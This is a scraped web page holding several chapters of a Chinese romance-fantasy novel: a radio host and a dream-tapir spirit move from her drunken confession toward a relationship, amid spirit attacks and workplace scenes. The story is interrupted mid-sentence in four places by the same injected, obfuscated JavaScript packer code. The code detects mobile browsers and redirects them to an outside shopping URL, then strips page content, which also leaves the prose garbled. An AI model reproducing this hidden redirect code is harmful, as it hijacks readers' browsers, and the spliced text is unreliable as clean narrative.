洛瑶一坐而起,抓乱了本就没有什么造型可言的头发,尖叫过后,想扇自己两巴掌。 正当她举起手时,房门被打开了。 向来很有分寸感的傅以山倒是没有直接走进来,而是保持着开门的姿势,像是无事发生似的,目光亲和地说道:“起来吃早饭吧。” 吃早饭?她现在是有心情吃早饭的时候吗? 洛瑶向后仰躺下去,将杯子拉高,盖过自己的脸,憋着一口气憋到通红,没有勇气憋死自己的她只好重新爬起来,下定决心要勇敢面对这一切。 早餐是傅以山去外面买的,洛瑶家所在地段生活便利,楼下就有好几家早餐店。 他特意选了家人比较多的,向来受到大众欢迎的应该比较好吃。 “你这是把人家店给搬过来了吗?”洛瑶看着一桌子早餐界的“满汉全席”不免惊呆了。 有鸡蛋饼、小笼包、生煎包、油条、茶叶蛋…… 本来她早上只会买一两样的东西,此刻都出现在了餐桌上。 “我不知道你喜欢吃哪样?索性就都买了。”傅以山在她对面坐下。 “你这也太多了,我们两个估计都吃不完。”洛瑶拿起筷子,犹豫着先吃哪一个。 “没关系,慢慢吃,我顺便还可以学一下人类的早餐怎么做。”傅以山唇畔的笑容人畜无害。 洛瑶一想到他之前做的那些吃食,其实很想说因为物种的差异,他可能永远学不会人类的正确口味了,但是她也不好意思一大早的就打击人,只好回以一个尴尬的笑容,鼓励道:“早餐其实好学的,你之前那些菜做的那么厉害,肯定没问题。” “那我到时候做好了,你能帮我品鉴下吗?”不知道是不是洛瑶的错觉,她感受到傅以山眼睛里闪烁着期待的光芒。 他这样子盯着她看,怎么让她说出拒绝的话? 耳根迅速红了起来的洛瑶只好点了点头,默默拿起来一块鸡蛋饼,在心里感慨:来,让她再好好感受下正常鸡蛋饼的味道,也不知道她以后还会不会想吃鸡蛋饼。 “怎么了,是鸡蛋饼不好吃吗?”傅以山问。 洛瑶一听,果断咬了一大口,故作喜悦地吃完,“怎么会?这家店我经常吃的。” “那就好,我本来还担心我是不是选错店了,你昨晚……” 只听得“昨晚”两个字,洛瑶心中瞬间警铃大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997138|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作,紧张地辩解道:“我昨晚怎么了?” “我是想说昨晚……” “我这人有个毛病,喝多了容易乱讲话,要是有什么得罪你的地方,千万别介意啊。”洛瑶眨着眼睛,努力装出一副无辜模样。 傅以山微怔,随即扬起嘴角,笑道:“不要担心,你没有得罪我。” “那就好,你大人有大量,忘记昨晚醉酒之后的我吧。”洛瑶双手合十,作祈祷状。 “一点都不要记得吗?”傅以山笑容僵住,拧紧了眉毛。 听他这口吻,想必是不可能什么都记不得了,连她这个喝醉的人都能记得如此清晰,更何况清醒的他呢? 一时不知如何是好的洛瑶直接把鸡蛋饼塞嘴里,含糊着说道:“我先去上班了。” 半梦半醒之间的早餐会面最终以洛瑶的落荒而逃草草收场。 洛瑶没想清楚怎么面对傅以山,她从来没想过自己会在喝醉之后,稀里糊涂地告白,告白对象还不是人类。 他会不会觉得她疯了? 一开始的时候明明很惧怕他,可不知道从什么时候开始,她开始依赖他,他的陪伴让她感觉到安心,开始期待每一次和他的见面,希望天天能见到他。 “所以说你就这么逃出来了?”颜子一手托腮,一手舀了一勺糖加入咖啡里。 洛瑶早上不用上班,恰好颜子问她有没有事,她便来到颜子单位楼下的咖啡厅,陪她吃早饭了。 “嗯,丢脸死了。”不堪回首的洛瑶端起咖啡喝了一口,没想到直接被烫到了舌头,面露痛苦之色。 “你真是,多大的人了,做事怎么还这么毛毛躁躁?”颜子担忧地给洛瑶递上纸巾。 洛瑶用手当风扇给自己的舌头降温,捂着心头,口齿不清道:“我也不知道自己怎么了,总觉得吧,这心里不踏实。” “你啊你,就是该谈谈恋爱了,因为你一直没谈,所以缺乏经验,遇事才会如此慌张。”颜子把服务员端上来的冰水推到洛瑶眼前。 “那我应该怎么办?”洛瑶喝了一口冰水,说话恢复了几分正常。 颜子用手指点着桌子,老神在在地说道:“我觉得你现在什么都不用做,照常生活,该吃吃,该喝喝,接下来就看傅以山他怎么做了。” “他会怎么做?”洛瑶继续求取经验,作为恋爱小白,她目前只能靠颜子这个军师了。 “你傻啊,你都已经表白了,他要是对你有意思,肯定会让你当他女朋友啊。”颜子蓦然瞪大双眼,用了十分理所当然的语气。 洛瑶心想,可傅以山不是人类,身为梦貘的他知道什么是女朋友吗…… “嘿,你可别不信姐姐我,你就等着看呗,你最主要的问题还是不自信,你得对自己有信心,要是傅以山对你没意思,后续肯定还有更多帅哥等着你对他们另眼相看呢!”颜子向来都很欣赏洛瑶的颜值和品性,天天都夸洛瑶,让洛瑶都觉得会不好意思起来。 “行啦,再夸下去,你上班都要迟到啦。”洛瑶指着手机里的时间,提醒颜子。 “卧|槽!”颜子立刻拿起包,起身离开,可她刚迈出去又折了回来,指着洛瑶警告道:“记住,要淡定一点,看他表现。” 22. 反转 工作日的上午,广场上依旧有很多闲散的人,或是推着婴儿车的新手妈妈,或是还在打太极的大爷,或是热衷于晨跑的年轻人,亦或是刚刚来到这个城市,驻足观赏美景的游客。 广场中央的喷泉由内中外三层构成,外层10分钟喷一次,中间层5分钟喷一次,内层4分钟喷一次。和煦的晨光照耀着弥漫在喷泉上方的小水珠,折射出五彩斑斓的光。 傅以山独自坐在离喷泉有好几米远的休息椅上,眺望远方。 就在他看的入神之际,一根冰棍突然出现在他的正前方。 而递出这根冰棍的手白白嫩嫩,小巧可爱。 傅以山转过头,看到一个小脑袋仰着看他,显得莫名有几分娇憨。 “叔叔,这给你,这是我最喜欢的冰棍,橙黄相间,橙色是橘子味,黄色是菠萝味的。”神女用小孩子的声线怯生生地介绍着。 傅以山想自己现在好像有点习惯神女和他开玩笑了,欣然接过冰棍,尝了一口,“嗯,酸酸甜甜的,好吃。” “就只是酸酸甜甜?你不是说你恢复味觉了吗?”神女憋不住了,大人的口吻又跑了出来。 傅以山又分别吃了不同颜色的冰棍,肯定地说:“这里面应该没有真的橘子和菠萝,是调味的,只是在调出酸酸甜甜之后,加了香精。” 神女刚放进嘴里的冰棍顿时不香了,她拿出冰棍,举在手上,怨恨地看向傅以山:“你有时候可以不那么诚实的,你这样说了还让人怎么吃呢?” 傅以山倒是没觉得加了香精会怎么样,还是继续把冰棍吃完。 “你可真是无趣,难怪这么多年了还是老光棍。”神女气鼓鼓地咬了口冰棍,被冰刺|激地牙一酸,打了个激灵。 “老光棍有什么不好吗?”傅以山记起当时洛瑶说“你不是活了好几千年的老光棍吗?”的语气里带着几分鄙夷,和神女有点像。 “所以说上尊那货到底教你什么了?他自己清心寡欲当和尚,也拉着你共沉沦?或者说……”神女狐疑地看了傅以山一眼,问道:“你们俩该不会……” 神女将双手食指举起来,互相怼了两下。 古时候便有各种断袖之说,到了现代,磕男男CP更是演化成一种热潮。 傅以山自是秒懂神女的无端猜测,他一边摇头,一边笑道:“你这样说有点冒犯上尊了。” “怕啥,这家伙很久都没有出现了,你也应该很久没见过他了吧?” 傅以山便把自己最近想办法联系上尊的事情和神女说了。 “你甭浪费这时间了,他想联系你自然会联系你,任何人想找他都是找不到的。”神女说。 “那他什么时候会想联系我呢?”傅以山感到有点无力,他的记忆如今像一团迷雾,明明已经无限接近真相了,进度却停滞不前了。 比起人类,他们的时间像是被无限拉长,傅以山在人间的这段时光对于上尊来说可能就只是漫长的生命中的短短一瞬,就算是以前的他也未必对上尊了解多少,更何况是如今失忆的他。 神女神色变得有些捉摸不透,点着下巴问道:“你是不是说他让你留在人间消除魇昧?可能等到魇昧都除干净?” “我总感觉自己有很重要的事情没有想起来。”傅以山看着喷泉又一次喷发,水珠散落在空中,使得眼前的世界变模糊了。 “那个女孩的梦没有启发到你吗?”神女抚额长叹。 “或许是她死后所发生的事情。”这是傅以山目前觉得最有可能的判断,他心中隐隐有些不安,总感觉在洛瑶死后,他做了什么事情,才会被上尊独自留下,也是因为这件事,他才要驱逐魇昧。 明明已经无限接近于真相,却因为没有一个确切的指引而让人仿佛身处一片弥漫着白雾的森林里,迷失了方向。 “一般梦貘是不会出现在任何人的梦里的,这姑娘是真把你放心上了,你可要对人家负责啊。”神女拍了拍傅以山的肩膀。 “神女认为现在的洛瑶会是那时候的转世吗?”傅以山想起来这两个人明明长得很相似,性格却是截然不同。 “是不是转世有什么关系,重点是你对人家是一种什么感情,既然你说对那时候的她只有师徒之情,那面对现在的她呢?应该不是师徒之情了吧?”神女眯起双眼,揣测着傅以山的心思。 傅以山像是没有听到神女的问题,眼睛直视着前方的喷泉,瞳孔微沉,什么话也没说。 神女看着他这幅样子,愈发好奇起来,循循善诱道:“我可没有瞎猜,我是有科学根据的,你看在古代,洛瑶是行了拜师礼的,你们之间以师徒相称,而在现代,这个洛瑶是怎么称呼你的?” “傅以山。” “那你们有没有举行拜师礼?” “没有。” “她有想拜师吗?” 傅以山居然还思考了一下才做出回答:“应该是没有这个意思。” “那不就得了。”神女左手握拳,击在自己右手的掌心上,兴奋地说道:“既然你们之间没有师徒情谊,那你对她是什么样的情感?” 似是有点点开窍了的傅以山垂眸道:“我不清楚,上尊说情感是人类的专属。” “你听他放狗屁,别听他,听我的,其实有一个办法很容易判断。”神女激动地把大腿都拍出了响声。 “什么办法?”傅以山疑惑道。 神女眉毛轻微一耸,露出一个略带神秘感的笑容,“跑到她面前,看自己能不能说出‘我喜欢你’这四个字。” 或许对于一些恋爱老油条来说,这四个字绝对是像去买酱油那么简单,可梦貘不一样,上尊那个老古板教出来的小古板,从来没有喜欢过人又怎会轻易说出这几个字? 如果要说,其稀奇程度绝不亚于枯木发芽,铁树开花。 神女这人别的爱好没有,唯愿天下有情人能够终成眷属,她最看不得古代洛瑶那种结局了,如果那是个戏本,肯定会被她撕个稀烂。 * 随着一期又一期优质内容的积累,《深夜电台》这个节目的收视率稳步上升,达到了比预期更高的数据。 洛瑶、陆雯雯和李|鹏之间有了更深的默契,在每晚的配合上也更加如鱼得水。 只不过闻芳卉看起来状态不那么好,每天晚上都要在朋友圈发牢骚,动不动就请假说家里有事。 陆雯雯私下和洛瑶犯嘀咕:“她天天发我都看腻了,翻来覆去的无非就想说自己晚上上班辛苦,可我们不都辛苦着吗?搞起来好像就她最累。” “这是她的惯用套路,你以为她发出来是给我们的看的啊?”洛瑶动作利索地整理起手边的资料,为晚上的节目做准备。 “那给谁看?”陆雯雯看了下闻芳卉的朋友圈,除了她和郭杰的点赞,没有别人。 洛瑶随手用自己手机点开闻芳卉的朋友圈,递给陆雯雯看。 上面显示除了陆雯雯和郭杰,还有:陈总、王总、杨总…… “这一招实在是高啊。”陆雯雯表示自己学到了。 “别管她那么多,把自己的事情做好就行,去准备吧。”洛瑶用笔帽轻轻点了陆雯雯的手背。 “洛瑶姐,我发现你变了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007240|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆雯雯弯腰直勾勾地瞅着洛瑶的眼睛。 “?”洛瑶闻言,用奇怪的眼神打量她。 “今天整个人都散发着一种沉稳的气质。”陆雯雯毫不吝啬发出来自肺腑的夸奖。 “行啦,别拍马屁了,时间到了。”洛瑶莫名被戳中了笑点,笑着低头看手上的稿件。 也不是洛瑶故意找借口,而是真的马上就到直播时间了。 一向听话的陆雯雯没再瞎扯淡,专心投入到了工作之中。 今晚的电话并不多,让洛瑶印象特别深刻的电话来自一个年轻的男声。 “洛主播你好,我是你的忠实听众,以前听你的早八点音乐之声,现在听你的深夜电台。”电话一接通,对方就十分高兴。 “谢谢你的支持,这两档节目内容还是差别蛮大的,你以后倒是可以两个都听听。”就算洛瑶看闻芳卉不爽,但毕竟都是同个电台的节目,一根藤上的蚂蚱。 “好的洛主播,我的车里就只放你们电台,凑巧的是我女朋友平时也喜欢听你们电台。” “那真是一件好事,你们可以一起听电台,分享自己的感受。” “我本来今晚就打算和她一起听节目的。”对方叹了一口气,显然是遇到了让他十分苦恼的问题:“可是我惹她生气了,她现在不理我,我都不知道该怎么办了。” 洛瑶也不是第一次接到类似的电话,但她能感受到这位深夜拨打电话的听众的真诚,她也同样用真诚报以建议。 “请问这位先生您怎么称呼?” “我姓李。” “李先生,你先不要着急,说不定此时你女朋友也在听节目,虽然你们此时人不在一起,但却通过电台连接着彼此,要不你就此机会向你的女朋友讲讲心里话吧。” “真……真的可以吗?”对方不太自信地问。 “为什么不可以?只不过时长最好注意控制下,我们节目已经接近尾声了。”洛瑶抱歉地提醒道。 “谢谢节目能给我这个机会,我……我想对我的女朋友说,嘉惠,我喜欢你!真的很喜欢很喜欢你,你看到的那张照片是那个女人主动亲我的,我那天喝多了,你放心,我已经拉黑她了。” 听完这句话,洛瑶和演播室外的陆雯雯对视了一眼,她们心里都不由得咯噔了一下。 原以为会是深情的告白,没想到反转了一下,搞得大家都有点不解。 这男的到底是真诚地在向女朋友道歉,还是渣男脚踩两只船被发现后跑到他们节目作妖? 当然,出于成年人的体面,有些问题并不适合在大庭广众之下问出来,等他一说完,技术那边马上掐断了电话。 结束录制后,陆雯雯忍不住跑来和洛瑶吐槽。 “我刚接到电话的时候,听他的语气很诚恳,而且很有礼貌,我就以为是个正经人,没想到这么不靠谱。” “别在意,不是你的问题,这种善于伪装的人可多了,谁也想不到他后一句话讲什么。”洛瑶收拾好东西,背上包,和陆雯雯一道往外走。 “要是我是他女友,说不定忍不住也要打进电话,把他的事迹‘宣扬’一下。”陆雯雯愤愤不平。 洛瑶轻笑道:“你是想让我们的节目变成情侣吵架节目吗?” “那倒不是,我只是在想为什么这些男的能这么不要脸,要不是他自己不检点,怎么会有女的主动亲他?”在陆雯雯看来,一个巴掌是拍不响的。 陆雯雯无心的这句话让洛瑶不免想到了自己的那次酒后冲动。 嗯,不怪她,怪就怪傅以山太会勾人了,不“检点”。 23. 愈合 被最近遇到的一些诡异之事吓到的洛瑶现在都会在上夜班前把自己的东西都收拾好,带到演播室,等结束完,她就可以直接背包走人。 她和陆雯雯、李|鹏一起走到电梯口等电梯,陆雯雯突然一拍脑袋,“姐,完了,我把U盘还插在办公室主机上。” “你电脑关了吧?关了应该就没事。”洛瑶想着办公室的门应该都关了,不会有人进去,只要机器别出问题就行。 “不行,我整理的素材都在里面,回家还得赶稿子,你们先走吧,我回去拿下。”陆雯雯说。 “我陪你回去拿吧。”站在一旁的李|鹏主动请缨。 “拿个U盘而已,没事的。”陆雯雯摆摆手。 不知怎地,洛瑶心里总觉得不踏实,一想到那什么魇昧,她就心惊肉跳,于是赶紧推了李|鹏一把:“带个保镖一起去吧,办公室那里现在黑乎乎的。” “哎哟,洛瑶姐,你该不会是讲多了鬼故事把自己讲害怕了吧?”陆雯雯脸上笑意盈盈,俏皮地抬了抬眉毛。 “才不是,我这不是担心你们害怕吗?好啦,电梯来了,我先走了。”说完,洛瑶赶紧闪进刚到的电梯,挥手和他们再见。 讲鬼故事有什么可怕的,更可怕的是她的亲身经历。 洛瑶按下了通往停车|库的负一层按钮,习惯性地站在电梯轿厢靠边的位置,环抱住自己的双臂,紧盯着电梯层数。 转眼已是深秋的电梯,大楼里的空调早早就已经关停了,可洛瑶还是觉得电从电梯上方不断有冷气吹出来。 紧接着,电梯突然抖动了一下,洛瑶一看电梯层数,原本应该显示到六层的电梯示数不见了,显示屏全黑。 电梯坏了? 洛瑶上前一步,打算按求助按钮,就在她的手指刚要触及到按钮时,电梯里的灯“啪”一下全部暗掉。 黑暗所带来的恐惧无处遁形,一片寂静中只有陡然加快的心跳声被无限放大。 洛瑶想动,身体却不听她指挥,仿佛被一股无形的力量束缚住了,动弹不得,头皮一阵发麻,后背渗出针尖般细密的冷汗。 来不及作任何思考,她努力打起精神,闭上双眼,摒弃一切杂念,控制着颤动的手,用最后仅剩的一丝专注力摘掉了手链,大喊一声:“傅以山!” 一阵冷风直逼洛瑶后颈。 电光火石之间,直觉有一种灭顶的绝望即刻降临。 好在此时,一只有力的手臂及时出现,将她揽入了怀中,并给她披上了一件衣服,将她整个人裹进去,给她带来了强烈的安全感。 随后,她便听到了傅以山低沉悦耳的声音:“别怕,你先蹲下来数数。” 疯狂跳动的心脏砰砰撞击着洛瑶的胸口,她此时还是不敢睁开眼睛,只依靠着本能,按照傅以山说的做。 “一,二,三,四……一百一,一百二,一百三。”洛瑶数着数着也没发现自己数错了。 但有人发现了,忍不住开口提醒道:“等下,应该是一百一,一百一十一,一百一十二。” “你管我这么多,我就爱数一百一,一百二,往大了数。”洛瑶下意识地辩解,讲着讲着还睁开眼睛,抬头看去。 明亮的光线里,傅以山单膝蹲在她面前,垂眼看着她,身上自带的宁静安逸之气,在空气里慢慢氤开。 “没事了,起来吧。”傅以山向她伸出一只手。 洛瑶怀疑他已经在一旁看她傻傻地数数有一会儿了,这样一想,刚刚涌起的值得热泪盈眶的感动瞬间没有了。 她没有把手搭上去,而是拍了下他的掌心,缩了回去,自己撑着站起来。 傅以山倒也没生气,兀自笑笑,起身的时候身形在洛瑶前面晃了下。 “你怎么了?”洛瑶看出他有点不对劲,急忙上前一步扶住他。 扶住的那刹那,洛瑶发现他的手臂冷得像冰,嘴唇也比平常白上很多,而刺眼的鲜血正从他的另一只手的手背顺势而下,一滴滴落在地上,和光亮的地板形成鲜明的对比。 洛瑶倒吸一口凉气,用自己都不曾想过的心疼语气问道:“你受伤了,要不要去医院?” “不用,它自己能愈合,只是最近愈合的时间变久了。”傅以山困惑地看着伤口。 本身梦貘自带自愈属性,按照他先前的能力,别说魇昧根本伤不了他,就算他有时候不小心磕到碰到,基本立马复原。 最近这段时间,除了他的战斗能力,其他各种超能力也大不如前。 “不行,看样子伤口很深啊,我们还是先去医院包扎吧。”洛瑶仔细看着傅以山的伤口,内心焦灼万分。 离广电大厦五分钟车程就有一家医院,洛瑶开起飞车模式,火速将傅以山送到医院,带着他包扎了伤口。 她嫌弃护士给傅以山打的结太丑,重新解开打上一个漂亮的蝴蝶结,满意地展示给他:“看,我就说我的打结技术一流。” 傅以山举起包成馒头一样手,看着上面的蝴蝶结,忍住笑意道:“你的车技更加一流,幸好你车开的快,赶在我愈合前包扎完了。” “你……”洛瑶气鼓鼓地指着他,“我真是好心被当成驴肝肺。” 傅以山感到心里某个柔软的角落被轻触了一下,他微微倾下身,用手掌包裹住洛瑶的食指,眼里含着笑意道:“谢谢。” 简单的两个字却如同一块石头被扔进了平静的湖面,泛着一圈又一圈的涟漪。 洛瑶感觉自己的两腮不由自主地升温,心跳也开始不受控制地越跳越快。 傅以山的眼睛里似是如梦如幻的星河,在星河汇聚的一个光影里,她看见了她自己。 一瞬间,所有深藏的情感,无处可躲。 不不不行,最后一丝理智抓住了洛瑶,她闭上眼睛,颜子的话在她耳边回响。 她得淡定,得看傅以山是一个什么样的态度。 洛瑶抽开自己的手,假装淡定地对傅以山说道:“走吧,我送你回去。” 傅以山便带着被包成白色拳击手套的手,和洛瑶一起坐进了车里。 洛瑶系上安全带,在车载导航上点了点,指着输入框让傅以山把家里地址输进去。 傅以山输完之后,导航启动,传出语音提示:“XX地图将持续为你导航,全程77公里,大约需要1小时50分钟。” “什么?你是不是输错地址了?你家怎么这么远?”现在这个点,路上基本没车,洛瑶平时回家只用十分钟,去什么地方要这么久啊。 洛瑶睁大双眼看着导航里的显示,用手在触屏上放大看路线图。 “应该没输错, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019648|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我家在你上次去过的那个博物馆附近。”傅以山用指尖轻敲地图上面博物馆所在位置。 洛瑶的脖子一僵,脑袋像忘了上油的机器转过来盯着傅以山,“这么远?!” 傅以山摸了摸耳朵,尴尬勾起嘴角,“好像是有那么点远。” 洛瑶死如死灰地将双手放在方向盘上,准备启动的那一刹那,她忽地再度看向傅以山,试探性地问道:“要不你用下超能力?瞬间移动到家?” 傅以山慢条斯理地将自己受伤的手举起来,“我刚受伤,能力有点不够,可能会飞一般掉下来。” “那不行不行。”洛瑶张大嘴巴,直摇头,又提出一个新点子:“要不我就近给你找个住处?” 傅以山为难地看着她说:“我这身份……不太方便在外面住。” 洛瑶一想傅以山毕竟是个梦貘,是不是怕住酒店被人类发现异端? 在经过三秒钟的思想斗争之后,她咬了咬唇,说出了如今剩下的唯一优解:“那去我家吧!” 傅以山莞尔一笑,没拒绝。 * 洛瑶现在所住的房子是两室一厅的,只不过因为父母常年不在家,所以父母房间里的东西都被收起来了,之前颜子来住了几天之后,洛瑶又把床铺这些全部都洗了一遍一股脑全装进了柜子。 现在大晚上的,又得全部拿出来铺上。 但傅以山拉住了她的手臂,阻止了她的行动,“不用这么麻烦,我在沙发上躺一下就行了。” “那怎么行?沙发肯定没床舒服,我还是给你铺上吧,不麻烦的。”洛瑶想到傅以山是个病患,总不能让他这么惨吧。 “不着急,先过来坐,我有话想对你说。”傅以山一路拉着洛瑶走到沙发边上坐下。 洛瑶手里还抱着枕头,顺势将手肘撑在抱枕上,托着下巴听傅以山讲话。 “或许你还记得我说的魇昧吗?”傅以山问道。 洛瑶点了点头:“你之前说那个保安就是被魇昧蛊惑的,还有其他那些做坏事的人。” “刚刚在电梯里也是魇昧。”傅以山侧头盯着洛瑶看,神色复杂,声音迟缓。 洛瑶心头一紧,神经一下子绷住了,底气不足地问道:“这么凶险吗?” 傅以山伸手轻触她的脸颊,俯身靠近,将她的全部神色锁定在自己眼睛里,语气温柔:“嗯,所以你不要乱跑,最好一直留在我身边。” 洛瑶屏住呼吸,心中仿佛有巨大的海浪翻腾起来,脸上热意渐渐散开。 傅以山的手心怎么这么烫? 洛瑶来不及过多思索,条件反射想躲开,撇撇嘴,坚持用不咸不淡的口吻:“切,你是我谁?凭什么?” 傅以山强行将她的脸掰回来,眉宇之间带着些许不安,好像在掂量着自己的言辞,“或许,我可以当你的男朋友吗?” 令人心动的声音如一滴水融入发烫的空气中,蒸发成朦胧的雾气,将周遭的一切都虚化了。 洛瑶睁大双眼,清晰感受到来自傅以山眼神里的纯粹,她想了想,问:“你懂什么是男朋友吗?” 傅以山眉间微动,眼底蒙上一层诧异。 洛瑶垂眸轻叹,睫毛在眼下投出一片阴影,随后突然仰起头,双手捧住了傅以山的面颊,将自己的唇贴在了他的唇上。 24. 吻技 明明这是洛瑶在清醒状态下第一次接吻,却努力想表现得很有经验的模样,她亲完后,还特别厚脸皮地问:“男朋友就是如果你看到就会想亲我,你想吗?” 她大概是魔怔了吧,等洛瑶回过神来之后第一反应就是觉得羞愧难当,试图推开傅以山。 可没想到的是傅以山竟然俯下身,扣住她的后脑勺,偏头吻了下来。 一分一秒如同弹簧被无限拉扯着,让洛瑶除了唇上地触感,什么也感觉不到。 缱绻的阀门被打开,从浅尝辄止到循序渐进。 有人无师自通,有人溃不成军,神智被陌生的潮涌逐渐淹没了。 此时万籁俱寂,只有彼此的心跳在见证。 半响,滚烫的呼吸抽离,温度开始冷却。 洛瑶眼里笼着水汽,慢半拍反应过来之时,急忙捂住眼睛。 “你说你是老光棍是不是骗我的?”轻松就被一个吻撩到的洛瑶不服气地质问道。 “为什么这么问?”傅以山神色十分淡定,只有耳廓微微有些发红。 “因为你的吻技完全不像新手啊。”洛瑶向边上挪了一屁|股,抱臂审视着他。 “那新手应该怎样?你教我下?”傅以山顶着一张人畜无害,特别真挚的脸朝着洛瑶方向靠近。 “不要脸!”洛瑶不客气地举起抱枕挡在自己面前,阻隔他们俩之间再一次拉近的距离,“我以前怎么没发现你是这样的人?” 扮猪吃老虎,老想着给她下套。 “那你现在愿意当我女朋友吗?”傅以山抓住抱枕,向下一按,重新对上洛瑶闪烁不定的双眼。 “我考虑下呗!”洛瑶及时松了手,从沙发上站起来,跳开一尺距离。 “我需要给你多久时间考虑?”傅以山嘴角牵起,眼里浮现出一抹清浅悠然。 “这取决于你接下来的表现。”洛瑶红着一张脸,傲娇地轻哼,故意提高几分音量,为自己造势。 * 翌日又是让人讨厌的周一。 洛瑶一大早便爬起来要去参加例会,她出门的时候发现傅以山已经不见了。 昨晚扔给他的被子叠的整整齐齐,枕头放在最上面,一点不逊于军训效果。 她打开微信,打算发了个微信问他去哪了,结果他说自己在早餐店排队。 “别排队了,我忘记和你说今天早上要上班,现在差不多要出门了。”洛瑶赶紧发了条语音信息给他。 等到洛瑶收拾好自己,一打开房门就看到没有回她信息的傅以山提着一袋子吃的站在门口。 “其实……我可以去单位吃的。”洛瑶接过袋子,又喜又惊。 “这算是我一个表现机会,我买了你上次比较喜欢吃的几样。”傅以山指了指袋子。 洛瑶看着里面的拇指生煎包和鸡蛋饼,问道:“这个时间点每家店都要排队吧?你是不是排了很久?” “还好……”傅以山顿了顿,“其实……” 刚刚如果按照正常顺序排队肯定是来不及的,傅以山前头还有大约十来个人。 所以他动用了下小法术,闪到第一个买了早餐,又在大家都没有反应过来的时候迅速消失,来去自如的动作一气呵成,快得像一□□刮过。 他也是没想到有一天自己会用法术做这种事情。 “时间不早了,我得走了,谢谢你的早餐!”傅以山还没说就被洛瑶打断了话头。 “等一下。”傅以山拽住了洛瑶的手,帮她提包,拿住车钥匙,“我开车送你。” 令洛瑶意外的是,作为一个根本不用开车的人,平时也不怎么会开车的人,傅以山的车开得又稳又快,比她自己开还更快开完。 但毕竟是作为乘客,她还是有时间在车上吃完了早餐,节省了早上的宝贵时间。 “谢谢你送我上班。”洛瑶解开安全带。 “你几点下班?”傅以山冷不丁问道。 “啊?”洛瑶开车门的手停在了门把手上,不可置信地问他:“你不会是打算下班的时候来接我吧?” “有什么问题吗?” “当然有,我今天下班早,应该不会有危险,而且那个时间段下班的人应该很多,你要是用法术变来变去肯定不合适。” “你放心,我会按人类的方式来的。”傅以山信誓旦旦地保证道。 洛瑶摇头反对,“不行,你身体也才刚好,别这么辛苦了,多多休息。” 傅以山眉梢一挑,抬手替洛瑶整理额前碎发,脸上染上无奈的笑意,温柔恳切地说道:“洛瑶,我没你想的这么虚弱,我想等你下班,和你一起吃饭。” 其实身体原因只是一方面的因素,洛瑶更多的是怕有八卦的同事看到傅以山,把两个人的事情搞得人尽皆知。 但最终还是感性打败了理性。 傅以山深沉而执着的眼眸泛着若有似无得光泽,让人不忍拒绝。 洛瑶作出妥协,决定退让一步,“这样吧,车钥匙给你,等到了下班点,你就在这里等我吧。” “好的。”傅以山乖巧地给她比了个“OK”的手势。 * 一进到办公室,洛瑶就感觉到一股水蜜桃香气扑面而来。 “今天早上食堂发水果了?”洛瑶拉开工位的椅子,看向坐在她旁边的陆雯雯。 陆雯雯手肘撑在桌子上,双手垫在下巴上面,慢悠悠转过来,“洛瑶姐,你来啦,食堂没发水果,是我刚刚喷了水蜜桃香水,嘻嘻~” “你咋回事?今天要表演节目?”洛瑶震惊地看着陆雯雯脸上顶着两团不自然的红晕,妆容也比平日里看起来浓很多。 “啊?会很奇怪吗?”陆雯雯抓起手边的镜子,检查自己的妆容仪表。 “呃,其实还好,就是和平时那个提倡‘打工人恶心穿搭’的你有点不符。”洛瑶狡黠一笑。 陆雯雯眉眼往下垮,伸手去抬了抬假睫毛,“我早上化了半小时呢,就是为了今天新同事来,能给他留下一个好印象。” “什么新同事?”洛瑶惊讶道。 “你忘啦?就今天要来一个新实习生啊。”陆雯雯兴奋地说。 洛瑶想了想好像是有这么回事,但她没放在心上,因为:“那他应该会去闻芳卉手下吧,你这么激动做什么?” 陆雯雯刚想张口解释,余光便因为看向洛瑶后侧而停留住了。 紧接着,一个充满朝气和活力的声音在洛瑶背后响起:“大家好,我是新来的实习生宋逢辰。” 洛瑶急忙转过头,一个提拔的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027550|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身形映入了她的眼帘。 